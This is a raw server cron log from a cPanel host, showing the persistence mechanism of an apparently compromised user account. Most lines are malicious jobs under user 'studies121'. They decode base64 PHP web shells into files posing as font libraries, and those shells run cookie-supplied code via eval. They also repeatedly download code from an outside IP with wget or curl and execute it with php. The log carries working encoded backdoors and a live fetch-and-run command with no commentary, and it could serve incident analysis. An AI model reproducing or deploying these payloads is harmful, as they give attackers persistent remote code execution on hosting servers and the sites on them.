Sep  7 21:57:01 ip-184-168-122-23 CROND[26111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:57:01 ip-184-168-122-23 CROND[26112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:57:01 ip-184-168-122-23 CROND[26113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:58:01 ip-184-168-122-23 CROND[26192]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:58:01 ip-184-168-122-23 CROND[26193]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 21:58:01 ip-184-168-122-23 CROND[26194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:58:01 ip-184-168-122-23 CROND[26196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:58:01 ip-184-168-122-23 CROND[26197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:59:02 ip-184-168-122-23 CROND[26276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:59:02 ip-184-168-122-23 CROND[26277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:59:02 ip-184-168-122-23 CROND[26278]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:59:02 ip-184-168-122-23 CROND[26279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:00:02 ip-184-168-122-23 CROND[26365]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 22:00:02 ip-184-168-122-23 CROND[26366]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 22:00:02 ip-184-168-122-23 CROND[26369]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:00:02 ip-184-168-122-23 CROND[26370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:00:02 ip-184-168-122-23 CROND[26373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:00:02 ip-184-168-122-23 CROND[26367]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 22:00:02 ip-184-168-122-23 CROND[26374]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  7 22:00:02 ip-184-168-122-23 CROND[26375]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 22:00:02 ip-184-168-122-23 CROND[26368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:01:02 ip-184-168-122-23 CROND[26469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:01:02 ip-184-168-122-23 CROND[26471]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:01:02 ip-184-168-122-23 CROND[26473]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 22:01:02 ip-184-168-122-23 CROND[26472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:01:02 ip-184-168-122-23 CROND[26470]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 22:01:02 ip-184-168-122-23 CROND[26475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[26470]: starting 0anacron
Sep  7 22:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[26489]: finished 0anacron
Sep  7 22:02:01 ip-184-168-122-23 CROND[26568]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:02:01 ip-184-168-122-23 CROND[26570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:02:01 ip-184-168-122-23 CROND[26569]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 22:02:01 ip-184-168-122-23 CROND[26572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:02:01 ip-184-168-122-23 CROND[26573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:03:01 ip-184-168-122-23 CROND[26740]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:03:01 ip-184-168-122-23 CROND[26738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:03:01 ip-184-168-122-23 CROND[26739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:03:01 ip-184-168-122-23 CROND[26741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:04:01 ip-184-168-122-23 CROND[26820]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:04:01 ip-184-168-122-23 CROND[26823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:04:01 ip-184-168-122-23 CROND[26825]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 22:04:01 ip-184-168-122-23 CROND[26822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:04:01 ip-184-168-122-23 CROND[26824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:05:01 ip-184-168-122-23 CROND[26915]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 22:05:02 ip-184-168-122-23 CROND[26922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:05:02 ip-184-168-122-23 CROND[26923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:05:02 ip-184-168-122-23 CROND[26920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:05:02 ip-184-168-122-23 CROND[26921]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 22:05:02 ip-184-168-122-23 CROND[26924]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 22:05:02 ip-184-168-122-23 CROND[26919]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:06:01 ip-184-168-122-23 CROND[27013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:06:01 ip-184-168-122-23 CROND[27014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:06:02 ip-184-168-122-23 CROND[27017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:06:02 ip-184-168-122-23 CROND[27018]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:06:02 ip-184-168-122-23 CROND[27015]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 22:07:01 ip-184-168-122-23 CROND[27109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:07:01 ip-184-168-122-23 CROND[27111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:07:01 ip-184-168-122-23 CROND[27113]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:07:01 ip-184-168-122-23 CROND[27114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:08:01 ip-184-168-122-23 CROND[27198]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:08:01 ip-184-168-122-23 CROND[27200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:08:01 ip-184-168-122-23 CROND[27199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:08:01 ip-184-168-122-23 CROND[27203]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 22:08:01 ip-184-168-122-23 CROND[27201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
